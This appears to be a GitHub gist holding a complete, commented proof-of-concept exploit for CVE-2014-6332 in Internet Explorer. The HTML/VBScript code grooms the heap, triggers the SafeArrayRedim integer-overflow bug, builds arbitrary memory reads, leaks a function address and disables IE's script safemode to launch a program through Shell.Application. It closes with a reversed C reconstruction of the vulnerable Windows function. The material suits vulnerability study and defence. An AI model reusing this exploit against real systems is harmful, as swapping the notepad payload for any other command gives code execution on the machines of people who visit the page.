Skip to content

Instantly share code, notes, and snippets.

@worawit
Last active January 18, 2024 08:23
Show Gist options
  • Star 5 You must be signed in to star a gist
  • Fork 5 You must be signed in to fork a gist
  • Save worawit/77a839e3e5ca50916903 to your computer and use it in GitHub Desktop.
Save worawit/77a839e3e5ca50916903 to your computer and use it in GitHub Desktop.
CVE-2014-6332
<html>
<head>
<!--
CVE-2014-6332 PoC with comments and better variable names
References:
- original PoC - http://www.exploit-db.com/exploits/35229/
- http://blog.trendmicro.com/trendlabs-security-intelligence/a-killer-combo-critical-vulnerability-and-godmode-exploitation-on-cve-2014-6332/
- http://security.coverity.com/blog/2014/Nov/eric-lippert-dissects-cve-2014-6332-a-19-year-old-microsoft-bug.html
- VARIANT - http://msdn.microsoft.com/en-us/library/windows/desktop/ms221627%28v=vs.85%29.aspx
- VarType - http://msdn.microsoft.com/en-us/library/3kfz157h%28v=vs.84%29.aspx
-->
<!-- enable vbscript on IE11 -->
<meta http-equiv="x-ua-compatible" content="IE=10">
<script language="javascript">
// get user-agent here because vbscript in IE11 has no "Navigator.UserAgent"
var userAgent = navigator.userAgent;
</script>
<script language="VBScript">
function runshell()
On Error Resume Next
set shell=createobject("Shell.Application")
shell.ShellExecute "notepad.exe"
end function
</script>
<script language="VBScript">
dim arrX()
dim arrY()
dim asize
dim incsize
dim olapPos ' the pos of arrX to be overlapped with arrY(0) after trigger the vuln
' After trigger the vuln, rgsabound[0].cElements of arrX is set to very large number.
' So arrX can be used to access arbitrary memory.
' The wanted memory layout is
' | arrY(0) | arrY(1) |
' | type(2) | pad(6) | data(8) | type(2) | pad(6) | data(8) |
' | arrX(olapPos) |
' | type(2) | pad(6) | data(8) |
' To full control VARIANT struct of 'arrX(olapPos)' is
' - set 'data' value in arrX(olapPos)
' - change type of arrX(olapPos) by setting 'data' value in arrY(0)
' Note: Original use double for changing type. I guess it is for win9x.
' So I keep it.
dim myarray
Begin()
function Begin()
On Error Resume Next
' assume no win9x
If (instr(userAgent,"MSIE") = 0) Then
' no IE
exit function
End If
If (instr(userAgent, "Win64") > 0) Then
' 64-bit is very difficult to exploit because 2-nd bug is hard to trigger
exit function
End If
Init()
If Exploit() = True Then
EnableGodMode()
' reset array size to real size (prevent IE get crashed)
redim Preserve arrX(asize)
runshell()
End If
end function
function Init()
Randomize()
' current array size
asize = 13 + 17*rnd(6)
' how many array size to be increased if fail
incsize = 7 + 3*rnd(5)
end function
function Exploit()
dim i
Exploit = False
' loop until success, max 400 times
For i = 0 To 400
' change array size and try again until 'arrY' is next to array 'arrX'
asize = asize + incsize
If Trigger() = True Then
Exploit = True
Exit For
End If
Next
end function
function Trigger()
On Error Resume Next
dim typev ' variant type
dim ofnumele ' number of element to overflow
Trigger = False
olapPos = asize + 2
' size of VARIANT is 16 bytes so overflow number is 0x80000000 >> 4 = 0x8000000
ofnumele = asize + &h8000000
' resize to make arrX and arrY to be allocated in new memory space.
' allocate arrX bigger than needed then shrink to prevent access violation
' from arrx(olapPos+2) in case of arrX is allocated at end of heap block.
' double it size to increase chance for arrY to be allocated next to arrX
redim Preserve arrX(asize*2+1)
redim Preserve arrX(asize)
redim arrY(asize)
' trigger the vuln
redim Preserve arrX(ofnumele)
' if 'arrX' and 'arrY' are allocated as we wanted
' VarType(arrX(olapPos)) will be changed if arrY(0) is changed
typev = 1
arrY(0) = 1.123456789012345678901234567890 ' 66 6f 74 d3 ad f9 f1 3f
' Note: VarType() maskes 0xbfff
If (IsObject(arrX(olapPos-1)) = False) Then
' VarType(arrX(olapPos-1)) is heap metadata
If (VarType(arrX(olapPos-1)) <> 0) Then
If (IsObject(arrX(olapPos)) = False) Then
typev = VarType(arrX(olapPos))
End If
End If
End If
' for extra check and clean the number in memory
arrY(0) = 0.0
If (typev = &h2f66) Then
If VarType(arrX(olapPos)) = 0 Then
Trigger = True
End If
ElseIf (typev = &hB9AD) Then
If VarType(arrX(olapPos)) = 0 Then
Trigger = True
'win9x = 1
End If
End If
If Trigger = False Then
' reset array 'arrX' size to not get crash in next try
redim Preserve arrX(asize)
End If
' original PoC does below so POC has to trigger every time before
' read/write arbitrary memory with type confusion
' reset array 'arrX' size to not get crash in next try
'redim Preserve arrX(asize)
end function
function ReadMemInt(addr)
' set arrX(olapPos) type to empty (uninitialized)
arrY(0) = 0
arrX(olapPos) = addr+4
' set arrX(olapPos) to BSTR so above is set BSTR data address
'arrY(0) = 8
arrY(0) = 1.69759663316747E-313 ' 0000000800000008 (BSTR type)
ReadMemInt = lenb(arrX(olapPos)) ' the BSTR len is at addr+4-4
' set arrX(olapPos) type back to empty
'arrY(0) = 0
end function
function EnableGodMode()
i = LeakFnAddr()
i = ReadMemInt(i+8) ' get address of CScriptEntryPoint which includes pointer to COleScript
i = ReadMemInt(i+16) ' get address of COleScript which includes pointer the said safemode flags
' fake SAFEARRAY
' - pvData points to address 0
' - cbElements (size per element) to 1
' - rgsabound[0].cElements is 0x7ffffffff
myarray = Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uFFFF%u7FFF%u0000%u0000")
' set arrX(olapPos+2) to be fake array, so we can do arbitrary write with it
arrX(olapPos+2) = myarray
'arrY(2) = 8192 + 12
arrY(2) = 1.74088534731324E-310 ' 0000200c0000200c ( type array of Variant )
EnableGodMode = False
For k=0 To &h60 step 4
j = ReadMemInt(i+&h120+k)
If (j = 14) Then
' below write 16 bytes (VARIANT size) of zero
arrX(olapPos+2)(i+&h11c+k) = arrY(4) ' change safemode flags
EnableGodMode = True
Exit For
End If
Next
' reset arrX(olapPos+2) to string
'arrY(2) = 8
'arrY(2) = 1.69759663316747E-313 ' 0000000800000008
end function
sub dummyfn()
end sub
function LeakFnAddr()
On Error Resume Next
' make stack put dummyfn() address
i = dummyfn
' set i to null type, but its data is dummyfn() address
i = null
' set i to arrX(olapPos), then change type to long (for leaking)
arrY(0) = 0
arrX(olapPos) = i
'arrY(0) = 3
arrY(0) = 6.36598737437801E-314 ' 0000000300000003 ( type vbLong )
' return the leak address of dummyfn()
LeakFnAddr = arrX(olapPos)
end function
</script>
</head>
<body>
CVE-2014-6332 PoC
</body>
</html>
/*
* reversed SafeArrayRedim() in oldaut32.dll (Windows XP)
* for CVE-2014-6332
*/
typedef struct tagSAFEARRAY
{
USHORT cDims; // number of dimensions
USHORT fFeatures; // type of elements
ULONG cbElements; // byte size per element
ULONG cLocks; // lock count
PVOID pvData; // data buffer
SAFEARRAYBOUND rgsabound[1]; // bounds, one per dimension
} SAFEARRAY;
typedef struct tagSAFEARRAYBOUND
{
ULONG cElements; // number of indices in this dimension
LONG lLbound; // lowest valid index
} SAFEARRAYBOUND;
HRESULT __stdcall SafeArrayRedim(SAFEARRAY *psa, SAFEARRAYBOUND *psaboundNew)
{
HRESULT hr;
SAFEARRAYBOUND psaboundOriginal;
LONG noReAllocFlag;
ULONG arraySizeNew;
ULONG arraySizeOriginal;
LONG arraySizeDiff;
void *pDataLost = NULL;
IMalloc *pMalloc = NULL;
if (!psa || !psaboundNew) {
hr = E_INVALIDARG;
goto on_exit;
}
if (psa->cDims == 0)
return E_INVALIDARG;
noReAllocFlag = psa->fFeatures & 0x2000;
if (psa->cLocks || (psa->fFeatures & FADF_FIXEDSIZE))
return E_ARRAYISLOCKED;
hr = GetMalloc(&pMalloc);
if (FAILED(hr))
goto cleanup_exit;
arraySizeOriginal = SafeArraySize(psa);
if (arrSizeOriginal && !psa_->pvData)
return E_INVALIDARG;
psaboundOriginal = psa->rgsabound[0];
psa->rgsabound[0] = psaboundNew;
arraySizeNew = SafeArraySize(psa);
if (arraySizeNew == -1) {
// new array size is overflow
psa->rgsabound[0] = psaboundOriginal;
hr = E_OUTOFMEMORY;
goto cleanup_exit;
}
arraySizeDiff = arraySizeNew - arraySizeOriginal; // BUG: diff might be negative even new > original
if (arraySizeDiff == 0) {
hr = 0;
goto cleanup_exit;
}
if (arraySizeDiff < 0 && (psa->fFeatures & (FADF_VARIANT | FADF_DISPATCH | FADF_UNKNOWN | FADF_BSTR | FADF_RECORD))) {
// shrink and removed data are needed to be released properly
if (noReAllocFlag) {
pDataLost = psa->pvData + arraySizeNew;
}
else {
pDataLost = pMalloc->Alloc(-arraySizeDiff);
if (!pDataLost) {
hr = E_OUTOFMEMORY; // BUG: no restore psa->rgsabound[0]
// in 64-bit process, this bug is very difficult to trigger
// if the bug here cannot be triggered, we have to make
// - memcpy() below has no crash
// - possible by make arraySizeDiff near -1, so arraySizeNew is very large (~4GB)
// - Realloc(psa->pvData, arraySizeNew) succeed (no error)
// - ReleaseResource(...) release our allocated object (without crash)
// - MIGHT trigger UAF (I guess)
goto cleanup_exit;
}
memcpy(pDataLost, psa->pvData + arraySizeNew, -arraySizeDiff);
}
}
void *tmpData;
if (noReAllocFlag) {
if (arraySizeNew > arraySizeOriginal) {
tmpData = pMalloc->Alloc(arraySizeNew);
if (!tmpData) {
psa->rgsabound[0] = psaboundOriginal;
hr = E_OUTOFMEMORY;
goto cleanup_exit;
}
memcpy(tmpData, psa->pvData, arraySizeOriginal);
psa->fFeatures &= 0xDFFF;
}
}
else {
tmpData = pMalloc->Realloc(psa->pvData, arraySizeNew);
if (!tmpData) {
if (arraySizeNew == 0) {
tmpData = pMalloc->Alloc(0);
}
else {
psa->rgsabound[0] = psaboundOriginal;
hr = E_OUTOFMEMORY;
goto cleanup_exit;
}
}
}
psa->pvData = tmpData;
if (arraySizeDiff > 0) {
// grow, clear all new elements to 0
memset(psa->pvData + arraySizeOriginal, 0, arraySizeDiff);
}
else {
// shrink, release resource
if (pDataLost)
ReleaseResource(psa, pDataLost, -arraySizeDiff, psa->fFeatures, psa->cbElements);
if (noReAllocFlag)
pDataLost = NULL;
}
hr = 0;
cleanup_exit:
if (pDataLost) {
pMalloc->Free(pDataLost);
}
on_exit:
return hr;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment